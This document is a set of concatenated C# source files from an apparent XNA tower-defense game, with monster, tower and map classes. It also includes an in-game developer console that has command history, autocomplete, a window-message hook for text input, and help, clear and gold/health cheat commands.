public bool isAlive { get; set; }
public float Speed { get; set; }
Point Current { get; set; }
Point Next { get; set; }
Vector2 nextPosition { get; set; }
public int Health { get; set; }
char[,] Mask { get; set; }
public int Defence { get; set; }
public int Cost { get; set; }
protected Animation Animation { get; set; }
public Monster(int X, int Y)
{
Current = new Point(X, Y);
Position = new Vector2(35 * X, 35 * Y);
isMoving = false;
isAlive = true;
Mask = (char[,])Ground.Mask.Clone();
}
public void Update(GameTime gameTime)
{
if (Health <= 0 && isAlive)
{
Player.Gold += Cost;
isAlive = false;
}
if (!isAlive) return;
if (Current == Ground.End)
{
isAlive = false;
Player.Health -= Cost;
return;
}
if (!isMoving)
{
if (Mask[Current.X, Current.Y + 1] == '2' || Mask[Current.X, Current.Y + 1] == '3')
{
Mask[Current.X, Current.Y] = '0';
Next = new Point(Current.X, Current.Y + 1);
nextPosition = new Vector2(35 * Next.X, 35 * Next.Y);
} else
if (Mask[Current.X + 1, Current.Y] == '2' || Mask[Current.X + 1, Current.Y] == '3')
{
Mask[Current.X, Current.Y] = '0';
Next = new Point(Current.X + 1, Current.Y);
nextPosition = new Vector2(35 * Next.X, 35 * Next.Y);
} else
if (Mask[Current.X, Current.Y - 1] == '2' || Mask[Current.X, Current.Y - 1] == '3')
{
Mask[Current.X, Current.Y] = '0';
Next = new Point(Current.X, Current.Y - 1);
nextPosition = new Vector2(35 * Next.X, 35 * Next.Y);
} else
if (Mask[Current.X - 1, Current.Y] == '2' || Mask[Current.X - 1, Current.Y] == '3')
{
Mask[Current.X, Current.Y] = '0';
Next = new Point(Current.X - 1, Current.Y);
nextPosition = new Vector2(35*Next.X, 35*Next.Y);
}
isMoving = true;
}
if (isMoving)
{
Vector2 temp = new Vector2(Position.X + Speed * (Next.X - Current.X), Position.Y + Speed * (Next.Y - Current.Y));
if (!new Rectangle((int)nextPosition.X, (int)nextPosition.Y, 35, 35).Contains(new Point((int)(temp.X + 17.5 + 17.5 * (Next.X - Current.X)), (int)(temp.Y + 17.5 + 17.5 * (Next.Y - Current.Y)))))
{
Position = nextPosition;
Current = Next;
isMoving = false;
}
else
{
Position = temp;
}
}
}
public void Draw(SpriteBatch spriteBatch)
{
if (!isAlive) return;
if (Next.X - Current.X == 1)
spriteBatch.Draw(Texture, Position, Animation.GetFrame(), Color.White, 0f, new Vector2(0, 0), 1f, SpriteEffects.None, 0f);
if (Next.X - Current.X == -1)
spriteBatch.Draw(Texture, Position, Animation.GetFrame(), Color.White, 0f, new Vector2(0, 0), 1f, SpriteEffects.FlipHorizontally, 0f);
if (Next.Y - Current.Y == -1)
spriteBatch.Draw(Texture, Position, Animation.GetFrame(), Color.White, -(float)Math.PI / 2, new Vector2(35, 0), 1f, SpriteEffects.None, 0f);
if (Next.Y - Current.Y == 1)
spriteBatch.Draw(Texture, Position, Animation.GetFrame(), Color.White, -(float)Math.PI / 2, new Vector2(35, 0), 1f, SpriteEffects.FlipHorizontally, 0f);
}
public void Hit(int Value)
{
int k = Value - Defence;
if (k <= 0) Health--; else Health -= k;
}
}
}
<file_sep>namespace XNAGameConsole
{
using System;
using System.Runtime.CompilerServices;
internal class OutputLine
{
public OutputLine(string output, OutputLineType type)
{
this.Output = output;
this.Type = type;
}
public override string ToString()
{
return this.Output;
}
public string Output { get; set; }
public OutputLineType Type { get; set; }
}
}
<file_sep>namespace XNAGameConsole
{
using System;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
internal class CommandHistory : List<string>
{
public void Add(string command)
{
foreach (string str in command.Split(new char[] { '\n' }))
{
if (str != "")
{
base.Add(str);
}
}
this.Reset();
}
public string Next()
{
if (base.Count == 0)
{
return "";
}
if ((this.Index + 1) <= (base.Count - 1))
{
int num;
this.Index = num = this.Index + 1;
return base[num];
}
return base[base.Count - 1];
}
public string Previous()
{
if (base.Count == 0)
{
return "";
}
if ((this.Index - 1) >= 0)
{
int num;
this.Index = num = this.Index - 1;
return base[num];
}
return base[0];
}
public void Reset()
{
this.Index = base.Count;
}
public int Index { get; private set; }
}
}
<file_sep>namespace XNAGameConsole
{
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using System;
using System.Collections.Generic;
using System.Linq;
internal class Renderer
{
private Vector2 closedPosition;
private State currentState = State.Closed;
private Vector2 firstCommandPositionOffset;
private readonly InputProcessor inputProcessor;
private readonly int maxCharactersPerLine;
private readonly float oneCharacterWidth;
private Vector2 openedPosition;
private readonly Texture2D pixel;
private Vector2 position;
private readonly SpriteBatch spriteBatch;
private DateTime stateChangeTime;
private readonly int width;
public Renderer(Game game, SpriteBatch spriteBatch, InputProcessor inputProcessor)
{
this.width = game.GraphicsDevice.Viewport.Width;
this.position = this.closedPosition = new Vector2((float) GameConsoleOptions.Options.Margin, (float) (-GameConsoleOptions.Options.Height - GameConsoleOptions.Options.RoundedCorner.Height));
this.openedPosition = new Vector2((float) GameConsoleOptions.Options.Margin, 0f);
this.spriteBatch = spriteBatch;
this.inputProcessor = inputProcessor;
this.pixel = new Texture2D(game.GraphicsDevice, 1, 1);
Color[] colorArray = new Color[] { Color.White };
this.pixel.SetData<Color>(colorArray);
this.firstCommandPositionOffset = Vector2.Zero;
this.oneCharacterWidth = GameConsoleOptions.Options.Font.MeasureString("x").X;
this.maxCharactersPerLine = (int) (((float) (this.Bounds.Width - (GameConsoleOptions.Options.Padding * 2))) / this.oneCharacterWidth);
}
public void Close()
{
if ((this.currentState != State.Closing) && (this.currentState != State.Closed))
{
this.stateChangeTime = DateTime.Now;
this.currentState = State.Closing;
}
}
public void Draw(GameTime gameTime)
{
if (this.currentState != State.Closed)
{
this.spriteBatch.Draw(this.pixel, this.Bounds, GameConsoleOptions.Options.BackgroundColor);
this.DrawRoundedEdges();
Vector2 pos = this.DrawCommands(this.inputProcessor.Out, this.FirstCommandPosition);
pos = this.DrawPrompt(pos);
Vector2 vector2 = this.DrawCommand(this.inputProcessor.Buffer.ToString(), pos, GameConsoleOptions.Options.BufferColor);
this.DrawCursor(vector2, gameTime);
}
}
private Vector2 DrawCommand(string command, Vector2 pos, Color color)
{
IEnumerable<string> enumerable = (command.Length > this.maxCharactersPerLine) ? SplitCommand(command, this.maxCharactersPerLine) : ((IEnumerable<string>) new string[] { command });
foreach (string str in enumerable)
{
if (this.IsInBounds(pos.Y))
{
this.spriteBatch.DrawString(GameConsoleOptions.Options.Font, str, pos, color);
}
this.ValidateFirstCommandPosition(pos.Y + GameConsoleOptions.Options.Font.LineSpacing);
pos.Y += GameConsoleOptions.Options.Font.LineSpacing;
}
return pos;
}
private Vector2 DrawCommands(IEnumerable<OutputLine> lines, Vector2 pos)
{
float x = pos.X;
foreach (OutputLine line in lines)
{
if (line.Type == OutputLineType.Command)
{
pos = this.DrawPrompt(pos);
}
pos.Y = this.DrawCommand(line.ToString(), pos, (line.Type == OutputLineType.Command) ? GameConsoleOptions.Options.PastCommandColor : GameConsoleOptions.Options.PastCommandOutputColor).Y;
pos.X = x;
}
return pos;
}
private void DrawCursor(Vector2 pos, GameTime gameTime)
{
if (this.IsInBounds(pos.Y))
{
string str = SplitCommand(this.inputProcessor.Buffer.ToString(), this.maxCharactersPerLine).Last<string>();
pos.X += GameConsoleOptions.Options.Font.MeasureString(str).X;
pos.Y -= GameConsoleOptions.Options.Font.LineSpacing;
this.spriteBatch.DrawString(GameConsoleOptions.Options.Font, ((((int) (gameTime.TotalGameTime.Seconds / ((double) GameConsoleOptions.Options.CursorBlinkSpeed))) % 2) == 0) ? GameConsoleOptions.Options.Cursor.ToString() : "", pos, GameConsoleOptions.Options.CursorColor);
}
}
private Vector2 DrawPrompt(Vector2 pos)
{
this.spriteBatch.DrawString(GameConsoleOptions.Options.Font, GameConsoleOptions.Options.Prompt, pos, GameConsoleOptions.Options.PromptColor);
pos.X += (this.oneCharacterWidth * GameConsoleOptions.Options.Prompt.Length) + this.oneCharacterWidth;
return pos;
}
private void DrawRoundedEdges()
{
this.spriteBatch.Draw(GameConsoleOptions.Options.RoundedCorner, new Vector2(this.position.X, this.position.Y + GameConsoleOptions.Options.Height), null, GameConsoleOptions.Options.BackgroundColor, 0f, Vector2.Zero, 1f, 0, 1f);
//this.spriteBatch.Draw(GameConsoleOptions.Options.RoundedCorner, new Vector2((this.position.X + this.Bounds.Width) - GameConsoleOptions.Options.RoundedCorner.get_Width(), this.position.Y + GameConsoleOptions.Options.Height), null, GameConsoleOptions.Options.BackgroundColor, 0f, Vector2.Zero, 1f, 1, 1f);
this.spriteBatch.Draw(this.pixel, new Rectangle(this.Bounds.X + GameConsoleOptions.Options.RoundedCorner.Width, this.Bounds.Y + GameConsoleOptions.Options.Height, this.Bounds.Width - (GameConsoleOptions.Options.RoundedCorner.Width * 2), GameConsoleOptions.Options.RoundedCorner.Height), GameConsoleOptions.Options.BackgroundColor);
}
private bool IsInBounds(float yPosition)
{
return (yPosition < (this.openedPosition.Y + GameConsoleOptions.Options.Height));
}
public void Open()
{
if ((this.currentState != State.Opening) && (this.currentState != State.Opened))
{
this.stateChangeTime = DateTime.Now;
this.currentState = State.Opening;
}
}
private static IEnumerable<string> SplitCommand(string command, int max)
{
List<string> list = new List<string>();
while (command.Length > max)
{
string item = command.Substring(0, max);
list.Add(item);
command = command.Substring(max, command.Length - max);
}
list.Add(command);
return list;
}
public void Update(GameTime gameTime)
{
if (this.currentState == State.Opening)
{
TimeSpan span = (TimeSpan) (DateTime.Now - this.stateChangeTime);
this.position.Y = MathHelper.SmoothStep(this.position.Y, this.openedPosition.Y, (float) (span.TotalSeconds / ((double) GameConsoleOptions.Options.AnimationSpeed)));
if (this.position.Y == this.openedPosition.Y)
{
this.currentState = State.Opened;
}
}
if (this.currentState == State.Closing)
{
TimeSpan span2 = (TimeSpan) (DateTime.Now - this.stateChangeTime);
this.position.Y = MathHelper.SmoothStep(this.position.Y, this.closedPosition.Y, (float) (span2.TotalSeconds / ((double) GameConsoleOptions.Options.AnimationSpeed)));
if (this.position.Y == this.closedPosition.Y)
{
this.currentState = State.Closed;
}
}
}
private void ValidateFirstCommandPosition(float nextCommandY)
{
if (!this.IsInBounds(nextCommandY))
{
this.firstCommandPositionOffset.Y -= GameConsoleOptions.Options.Font.LineSpacing;
}
}
private Rectangle Bounds
{
get
{
return new Rectangle((int) this.position.X, (int) this.position.Y, this.width - (GameConsoleOptions.Options.Margin * 2), GameConsoleOptions.Options.Height);
}
}
private Vector2 FirstCommandPosition
{
get
{
return (new Vector2((float) this.InnerBounds.X, (float) this.InnerBounds.Y) + this.firstCommandPositionOffset);
}
}
private Rectangle InnerBounds
{
get
{
return new Rectangle(this.Bounds.X + GameConsoleOptions.Options.Padding, this.Bounds.Y + GameConsoleOptions.Options.Padding, this.Bounds.Width - GameConsoleOptions.Options.Padding, this.Bounds.Height);
}
}
public bool IsOpen
{
get
{
return (this.currentState == State.Opened);
}
}
private enum State
{
Opened,
Opening,
Closed,
Closing
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using Core.Controllers;
using Core.Buttons;
using Core.Handlers;
namespace Core.Towers
{
class SelectedItem
{
Vector2 Uptate { get; set; }
Vector2 SellV { get; set; }
Vector2 Position { get; set; }
Vector2 Relative { get; set; }
int Heigth { get; set; }
int Width { get; set; }
Tower Tower { get; set; }
MouseState previous { get; set; }
Sell Sell;
Upgrade Upgrade;
public SelectedItem(Vector2 position, Tower tower)
{
Position = position;
Relative = new Vector2(5, 40);
Tower = tower;
previous = Mouse.GetState();
Heigth = 70;
Width = 250;
SellV = Position + new Vector2(35, 3);
Uptate = Position + new Vector2(100, 3);
Sell = new Sell((int)SellV.X, (int)SellV.Y, tower);
Upgrade = new Upgrade((int)Uptate.X, (int)Uptate.Y, tower);
//TowerController.Instanse.mouseHandler.OnClick += Sell.OnClick;
//TowerController.Instanse.mouseHandler.OnClick += Upgrade.OnClick;
}
public void Update(GameTime gametime)
{
}
public void Draw(SpriteBatch spriteBatch)
{
Sell.Draw(spriteBatch);
Upgrade.Draw(spriteBatch);
spriteBatch.Draw(TextureLoader.ShopItemBorder, new Rectangle((int)Position.X, (int)Position.Y, Width, Heigth), Color.White);
spriteBatch.Draw(Tower.Texture, Position, Color.White);
spriteBatch.DrawString(TextureLoader.FDescr, "Cost: " + Tower.Cost + " " + "Range: " + Tower.Radius + " " + "Power: " + Tower.Power, Position + Relative, Color.Red);
spriteBatch.Draw(TextureLoader.Circle, new Rectangle((int)Tower.Position.X - (int)Tower.Radius + 17, (int)Tower.Position.Y - (int)Tower.Radius + 17, (int)Tower.Radius * 2, (int)Tower.Radius * 2), Color.White);
}
public void OnClick(object sender, MouseAgrs e)
{
Sell.OnClick(sender, e);
Upgrade.OnClick(sender, e);
}
}
}
<file_sep>namespace XNAGameConsole.Commands
{
using System;
using XNAGameConsole;
internal class ClearScreenCommand : IConsoleCommand
{
private InputProcessor processor;
public ClearScreenCommand(InputProcessor processor)
{
this.processor = processor;
}
public string Execute(string[] arguments)
{
this.processor.Out.Clear();
return "";
}
public string Description
{
get
{
return "Clears the console output";
}
}
public string Name
{
get
{
return "clear";
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class Ladybug : Monster
{
public Ladybug(int X, int Y)
: base(X, Y)
{
Speed = 0.5f;
Texture = TextureLoader.Lady;
Animation = new Animation(Texture, 4);
Health = 30;
Defence = 5;
Cost = 10;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Map
{
class GroundNon : GroundItem
{
public GroundNon(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.None;
}
}
}
<file_sep>namespace XNAGameConsole.KeyboardCapture
{
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Input;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
internal static class EventInput
{
private const int DLGC_WANTALLKEYS = 4;
private const int GWL_WNDPROC = -4;
private static IntPtr hIMC;
private static WndProc hookProcDelegate;
private static bool initialized;
private static IntPtr prevWndProc;
private const int WM_CHAR = 0x102;
private const int WM_GETDLGCODE = 0x87;
private const int WM_IME_COMPOSITION = 0x10f;
private const int WM_IME_SETCONTEXT = 0x281;
private const int WM_INPUTLANGCHANGE = 0x51;
private const int WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101;
public static event CharEnteredHandler CharEntered;
public static event KeyEventHandler KeyDown;
public static event KeyEventHandler KeyUp;
[DllImport("user32.dll")]
private static extern IntPtr CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
private static IntPtr HookProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
IntPtr ptr = CallWindowProc(prevWndProc, hWnd, msg, wParam, lParam);
uint num = msg;
if (num <= 0x87)
{
switch (num)
{
case 0x51:
ImmAssociateContext(hWnd, hIMC);
return (IntPtr) 1;
case 0x87:
return (IntPtr) (ptr.ToInt32() | 4);
}
return ptr;
}
switch (num)
{
case 0x100:
if (KeyDown != null)
{
KeyDown(null, new KeyEventArgs((Keys) ((int) wParam)));
}
return ptr;
case 0x101:
if (KeyUp != null)
{
KeyUp(null, new KeyEventArgs((Keys) ((int) wParam)));
}
return ptr;
case 0x102:
if (CharEntered != null)
{
CharEntered(null, new CharacterEventArgs((char) ((int) wParam), lParam.ToInt32()));
}
return ptr;
case 0x281:
if (wParam.ToInt32() == 1)
{
ImmAssociateContext(hWnd, hIMC);
}
return ptr;
}
return ptr;
}
[DllImport("Imm32.dll")]
private static extern IntPtr ImmAssociateContext(IntPtr hWnd, IntPtr hIMC);
[DllImport("Imm32.dll")]
private static extern IntPtr ImmGetContext(IntPtr hWnd);
public static void Initialize(GameWindow window)
{
if (initialized)
{
throw new InvalidOperationException("TextInput.Initialize can only be called once!");
}
hookProcDelegate = new WndProc(EventInput.HookProc);
prevWndProc = (IntPtr) SetWindowLong(window.Handle, -4, (int) Marshal.GetFunctionPointerForDelegate(hookProcDelegate));
hIMC = ImmGetContext(window.Handle);
initialized = true;
}
[DllImport("user32.dll")]
private static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
private delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
}
}
<file_sep>namespace XNAGameConsole.Commands
{
using System;
using System.Linq;
using System.Text;
using XNAGameConsole;
internal class HelpCommand : IConsoleCommand
{
public string Execute(string[] arguments)
{
Func<IConsoleCommand, bool> func = null;
if ((arguments != null) && (arguments.Length >= 1))
{
if (func == null)
{
func = c => (c.Name != null) && (c.Name == arguments[0]);
}
IConsoleCommand command = Enumerable.Where<IConsoleCommand>(GameConsoleOptions.Commands, func).FirstOrDefault<IConsoleCommand>();
if (command != null)
{
return string.Format("{0}: {1}\n", command.Name, command.Description);
}
return ("ERROR: Invalid command '" + arguments[0] + "'");
}
StringBuilder builder = new StringBuilder();
GameConsoleOptions.Commands.Sort(new CommandComparer());
foreach (IConsoleCommand command2 in GameConsoleOptions.Commands)
{
builder.Append(string.Format("{0}: {1}\n", command2.Name, command2.Description));
}
return builder.ToString();
}
public string Description
{
get
{
return "Displays the list of commands";
}
}
public string Name
{
get
{
return "help";
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using Core.Controllers;
using Microsoft.Xna.Framework.Input;
using Core.Handlers;
namespace Core.Towers
{
public class Tower
{
public float Radius { get; set; }
public Vector2 Position { get; set; }
public Texture2D Texture { get; set; }
public int Power { get; set; }
public int Level { get; set; }
public int Cost { get; set; }
public TimeSpan Speed { get; set; }
public TimeSpan Couldown { get; set; }
public Tower(int X, int Y)
{
Position = new Vector2(35 * X, 35 * Y);
Level = 0;
Couldown = TimeSpan.Zero;
}
public void Update(GameTime gameTime)
{
if (Couldown > TimeSpan.Zero)
Couldown -= gameTime.ElapsedGameTime;
}
public void Draw(SpriteBatch spriteBatch)
{
spriteBatch.Draw(Texture, Position, Color.White);
}
public void Fire()
{
Couldown = Speed;
}
public void OnClick(object sender, MouseAgrs e)
{
if (e.ClickedKey == Key.Left &&
new Rectangle((int)Position.X, (int)Position.Y, Texture.Width, Texture.Height).Contains(new Point(Mouse.GetState().X, Mouse.GetState().Y)))
InterfaceController.IC.Pick(this);
}
public void Upgrade()
{
if (Level < 3 && Player.Gold >= (10 + Level * 5))
{
Power++;
Level++;
Radius += 35;
Player.Gold -= 10 + Level * 5;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class Bee : Monster
{
public Bee(int X, int Y)
: base(X, Y)
{
Speed = 1f;
Texture = TextureLoader.Bee;
Animation = new Animation(Texture, 2);
Health = 5;
Defence = 3;
Cost = 3;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Map;
using Core.Monsters;
using Core.Towers;
using Core.Extensions;
using Core.Handlers;
using XNAGameConsole;
namespace Core.Controllers
{
public class Controller
{
Ground ground;
MonsterController monsterController;
TowerController towerController;
BulletController bulletController;
WaveController waweController;
InterfaceController interfaceController;
MouseHandler mouseHandler;
public Controller()
{
mouseHandler = new MouseHandler();
ground = new Ground();
monsterController = new MonsterController();
waweController = new WaveController(monsterController);
waweController.Start(FileIO.GetWawe());
towerController = new TowerController(mouseHandler);
towerController.Add(new Test1Tower(5, 10));
towerController.Add(new Test1Tower(4, 9));
towerController.Add(new Test1Tower(5, 8));
bulletController = new BulletController(towerController.GetTowers(), monsterController.GetMonsters());
interfaceController = new InterfaceController(towerController, mouseHandler);
mouseHandler.OnClick += interfaceController.OnClick;
}
public void Update(GameTime gameTime)
{
mouseHandler.Update(gameTime);
waweController.Update(gameTime);
monsterController.Update(gameTime);
towerController.Update(gameTime);
bulletController.Update(gameTime);
interfaceController.Update(gameTime);
}
public void Draw(SpriteBatch spriteBatch)
{
ground.Draw(spriteBatch);
monsterController.Draw(spriteBatch);
towerController.Draw(spriteBatch);
bulletController.Draw(spriteBatch);
interfaceController.Draw(spriteBatch);
//mouseHandler.Draw(spriteBatch);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Map
{
public class GroundFinish : GroundItem
{
public GroundFinish(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.Finish;
}
}
}
<file_sep>namespace XNAGameConsole
{
using Microsoft.Xna.Framework.Input;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Windows.Forms;
using XNAGameConsole.KeyboardCapture;
internal class InputProcessor
{
private const int BACKSPACE = 8;
private CommandProcesser commandProcesser;
private const int ENTER = 13;
private bool isActive;
private bool isHandled;
private const int TAB = 9;
public event EventHandler Close;
public event EventHandler ConsoleCommand;
public event EventHandler Open;
public event EventHandler PlayerCommand;
public InputProcessor(CommandProcesser commandProcesser)
{
this.commandProcesser = commandProcesser;
this.isActive = false;
this.CommandHistory = new XNAGameConsole.CommandHistory();
this.Out = new List<OutputLine>();
this.Buffer = new OutputLine("", OutputLineType.Command);
EventInput.CharEntered += new CharEnteredHandler(this.EventInput_CharEntered);
EventInput.KeyDown += new XNAGameConsole.KeyboardCapture.KeyEventHandler(this.EventInput_KeyDown);
}
public void AddToBuffer(string text)
{
string[] strArray = (from line in text.Split(new char[] { '\n' })
where line != ""
select line).ToArray<string>();
int index = 0;
while (index < (strArray.Length - 1))
{
string str = strArray[index];
OutputLine line1 = this.Buffer;
line1.Output = line1.Output + str;
this.ExecuteBuffer();
index++;
}
OutputLine buffer = this.Buffer;
buffer.Output = buffer.Output + strArray[index];
}
public void AddToOutput(string text)
{
if (GameConsoleOptions.Options.OpenOnWrite)
{
this.isActive = true;
this.Open(this, EventArgs.Empty);
}
foreach (string str in text.Split(new char[] { '\n' }))
{
this.Out.Add(new OutputLine(str, OutputLineType.Output));
}
}
private void AutoComplete()
{
int num = this.Buffer.Output.LastIndexOf(' ');
string str = (num < 0) ? this.Buffer.Output : this.Buffer.Output.Substring(num + 1, (this.Buffer.Output.Length - num) - 1);
IConsoleCommand matchingCommand = GetMatchingCommand(str);
if (matchingCommand != null)
{
string str2 = matchingCommand.Name.Substring(str.Length);
OutputLine buffer = this.Buffer;
buffer.Output = buffer.Output + str2 + " ";
}
}
private void EventInput_CharEntered(object sender, CharacterEventArgs e)
{
if (this.isHandled)
{
this.isHandled = false;
}
else
{
this.CommandHistory.Reset();
switch (e.Character)
{
case '\b':
if (this.Buffer.Output.Length <= 0)
{
break;
}
this.Buffer.Output = this.Buffer.Output.Substring(0, this.Buffer.Output.Length - 1);
return;
case '\t':
this.AutoComplete();
return;
case '\r':
this.ExecuteBuffer();
return;
default:
if (IsPrintable(e.Character))
{
OutputLine buffer = this.Buffer;
buffer.Output = buffer.Output + e.Character;
}
break;
}
}
}
private void EventInput_KeyDown(object sender, XNAGameConsole.KeyboardCapture.KeyEventArgs e)
{
if ((Keyboard.GetState().IsKeyDown(Microsoft.Xna.Framework.Input.Keys.V) && Keyboard.GetState().IsKeyDown(Microsoft.Xna.Framework.Input.Keys.LeftControl)) && (Thread.CurrentThread.GetApartmentState() == ApartmentState.STA))
{
this.AddToBuffer(Clipboard.GetText());
}
if (e.KeyCode == GameConsoleOptions.Options.ToggleKey)
{
this.ToggleConsole();
this.isHandled = true;
}
switch (e.KeyCode)
{
case Microsoft.Xna.Framework.Input.Keys.Up:
this.Buffer.Output = this.CommandHistory.Previous();
return;
case Microsoft.Xna.Framework.Input.Keys.Right:
break;
case Microsoft.Xna.Framework.Input.Keys.Down:
this.Buffer.Output = this.CommandHistory.Next();
break;
default:
return;
}
}
private void ExecuteBuffer()
{
if (this.Buffer.Output.Length != 0)
{
IEnumerable<string> enumerable = from l in this.commandProcesser.Process(this.Buffer.Output).Split(new char[] { '\n' })
where l != ""
select l;
this.Out.Add(new OutputLine(this.Buffer.Output, OutputLineType.Command));
foreach (string str in enumerable)
{
this.Out.Add(new OutputLine(str, OutputLineType.Output));
}
this.CommandHistory.Add(this.Buffer.Output);
this.Buffer.Output = "";
}
}
private static IConsoleCommand GetMatchingCommand(string command)
{
return (from c in GameConsoleOptions.Commands
where (c.Name != null) && c.Name.StartsWith(command)
select c).FirstOrDefault<IConsoleCommand>();
}
private static bool IsPrintable(char letter)
{
return GameConsoleOptions.Options.Font.Characters.Contains(letter);
}
private void ToggleConsole()
{
this.isActive = !this.isActive;
if (this.isActive)
{
this.Open(this, EventArgs.Empty);
}
else
{
this.Close(this, EventArgs.Empty);
}
}
public OutputLine Buffer { get; set; }
public XNAGameConsole.CommandHistory CommandHistory { get; set; }
public List<OutputLine> Out { get; set; }
}
}
<file_sep>namespace XNAGameConsole
{
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using System;
using XNAGameConsole.Commands;
using XNAGameConsole.KeyboardCapture;
using Core.XNAGameConsole.Commands;
using Core.Extensions;
internal class GameConsoleComponent : DrawableGameComponent
{
private readonly GameConsole console;
private readonly InputProcessor inputProcesser;
private readonly Renderer renderer;
private readonly SpriteBatch spriteBatch;
public GameConsoleComponent(GameConsole console, Game game, SpriteBatch spriteBatch) : base(game)
{
EventHandler handler = null;
EventHandler handler2 = null;
this.console = console;
EventInput.Initialize(game.Window);
this.spriteBatch = spriteBatch;
this.AddPresetCommands();
this.inputProcesser = new InputProcessor(new CommandProcesser());
if (handler == null)
{
handler = delegate (object s, EventArgs e) {
this.renderer.Open();
};
}
this.inputProcesser.Open += handler;
if (handler2 == null)
{
handler2 = delegate (object s, EventArgs e) {
this.renderer.Close();
};
}
this.inputProcesser.Close += handler2;
this.renderer = new Renderer(game, spriteBatch, this.inputProcesser);
IConsoleCommand[] collection = new IConsoleCommand[] { new ClearScreenCommand(this.inputProcesser), new ExitCommand(game), new HelpCommand(), new GoldCommand(), new CustomCommand("live", delegate(string[] x) { Player.Health += Int32.Parse(x[0]); return "ok"; }, "") };
GameConsoleOptions.Commands.AddRange(collection);
}
private void AddPresetCommands()
{
}
public override void Draw(GameTime gameTime)
{
if (this.console.Enabled)
{
this.spriteBatch.Begin();
this.renderer.Draw(gameTime);
this.spriteBatch.End();
base.Draw(gameTime);
}
}
public override void Update(GameTime gameTime)
{
if (this.console.Enabled)
{
this.renderer.Update(gameTime);
base.Update(gameTime);
}
}
public void WriteLine(string text)
{
this.inputProcesser.AddToOutput(text);
}
public bool IsOpen
{
get
{
return this.renderer.IsOpen;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Map
{
class GroundRoad : GroundItem
{
public GroundRoad(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.Road;
}
}
}
<file_sep>namespace XNAGameConsole.KeyboardCapture
{
using System;
using System.Runtime.CompilerServices;
internal delegate void CharEnteredHandler(object sender, CharacterEventArgs e);
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Towers;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Map;
using Core.Handlers;
using Core.Extensions;
namespace Core.Controllers
{
public class TowerController
{
List<Tower> towers;
public MouseHandler mouseHandler { get; set; }
public static TowerController Instanse { get; private set; }
public TowerController(MouseHandler MH)
{
this.towers = new List<Tower>();
mouseHandler = MH;
Instanse = this;
}
public void Add(Tower Tower)
{
towers.Add(Tower);
mouseHandler.OnClick += Tower.OnClick;
Ground.Mask[(int)(Tower.Position.X / 35), (int)(Tower.Position.Y / 35)] = '9';
}
public void Update(GameTime gameTime)
{
foreach (var item in towers)
item.Update(gameTime);
}
public void Draw(SpriteBatch spriteBatch)
{
foreach (var item in towers)
item.Draw(spriteBatch);
}
public List<Tower> GetTowers()
{
return towers;
}
public void Sell(Tower tower)
{
towers.Remove(tower);
mouseHandler.OnClick -= tower.OnClick;
Player.Gold += tower.Cost / 2;
}
}
}
<file_sep>namespace XNAGameConsole
{
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Graphics;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using XNAGameConsole.Commands;
using Core.Extensions;
public class GameConsole
{
private readonly GameConsoleComponent console;
public GameConsole(Game game, SpriteBatch spriteBatch) : this(game, spriteBatch, new IConsoleCommand[0], new GameConsoleOptions())
{
}
public GameConsole(Game game, SpriteBatch spriteBatch, IEnumerable<IConsoleCommand> commands) : this(game, spriteBatch, commands, new GameConsoleOptions())
{
}
public GameConsole(Game game, SpriteBatch spriteBatch, GameConsoleOptions options) : this(game, spriteBatch, new IConsoleCommand[0], options)
{
}
public GameConsole(Game game, SpriteBatch spriteBatch, IEnumerable<IConsoleCommand> commands, GameConsoleOptions options)
{
//ResourceContentManager manager = new ResourceContentManager(game.Services, Resource1.ResourceManager);
if (options.Font == null)
{
options.Font = TextureLoader.FDescr;
}
options.RoundedCorner = TextureLoader.Bullet;
GameConsoleOptions.Options = options;
GameConsoleOptions.Commands = commands.ToList<IConsoleCommand>();
this.Enabled = true;
this.console = new GameConsoleComponent(this, game, spriteBatch);
game.Services.AddService(typeof(GameConsole), this);
game.Components.Add(this.console);
}
public void AddCommand(params IConsoleCommand[] commands)
{
this.Commands.AddRange(commands);
}
public void AddCommand(string name, Func<string[], string> action)
{
this.AddCommand(name, action, "");
}
